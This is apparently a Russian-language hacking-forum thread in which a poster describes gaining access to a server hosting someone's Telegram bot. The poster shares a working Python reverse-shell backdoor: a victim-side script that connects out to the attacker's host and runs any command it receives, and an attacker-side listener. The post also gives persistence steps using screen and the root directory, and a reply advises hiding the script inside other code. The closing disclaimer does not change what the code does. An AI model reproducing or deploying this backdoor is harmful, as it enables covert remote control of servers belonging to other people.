Python Оставляем простенький backdoor на linux машине.

[developereva]

Приветики. Недавно (Буквально сегодня) мне дали данные от сервака, где стоит телеграм бот велора.

Код для машины жертвы:

Спойлер: Смотреть

import socket
import subprocess
# Айпишник нашего серва
REMOTE_HOST = '192.168.1.1'
REMOTE_PORT = 8081 # Наш порт
client = socket.socket()
client.connect((REMOTE_HOST, REMOTE_PORT))

while True:
    command = client.recv(1024)
    command = command.decode()
    op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
    output = op.stdout.read()
    output_error = op.stderr.read()
    client.send(output + output_error)

Код для нашей машины:

Спойлер: Смотреть

import socket
# Айпишник нашего серва
HOST = '192.168.1.1'
PORT = 8081 # 2222
new_port = input('Input Host Port (Blank if default).')
if (new_port != "\n"):
    REMOTE_PORT = new_port
server = socket.socket()
server.bind((HOST, PORT))
# Starting Server
print('[+] Server Started')
print('[+] Listening For Client Connection ...')
server.listen(1)
client, client_addr = server.accept()
print(f'[+] {client_addr} Client connected to the server')
while True:
    command = input('Enter Command : ')
    command = command.encode()
    client.send(command)
    print('[+] Command sent')
    output = client.recv(1024)
    output = output.decode()
    print(f"Output: {output}")

Для начала запускам скрипт на своей машине, а после уже запускам скрипт на другой машине. Запустите screen и закиньте скрипт в родную директорию /
mv backdoor.py /.
CTRL +A, CTRL + D.

Готово!

Спойлер: Скриншот

СЕРВЕР МОЙ, ИСТОРИЯ ВЫДУМАННАЯ. МАТЕРИАЛ ДЛЯ ОЗНАКОМЛЕНИЯ, А НЕ ДЛЯ ИСПОЛЬЗОВАНИЯ!

 

[Hedgehog]

бедни велор

 

[Удалённый пользователь]

Это конечно все круто, но что если владелец сервера не школьник который сможет прочитать код о_О

 

[developereva]

, Ну конечно. Но вообще скрипт можно спрятать в любой директории или же в сам код куда-нибудь в середину в массовку.

 

[VPN Manager]

Можно скрипт бота?

 

[лудорас]

VPN Manager,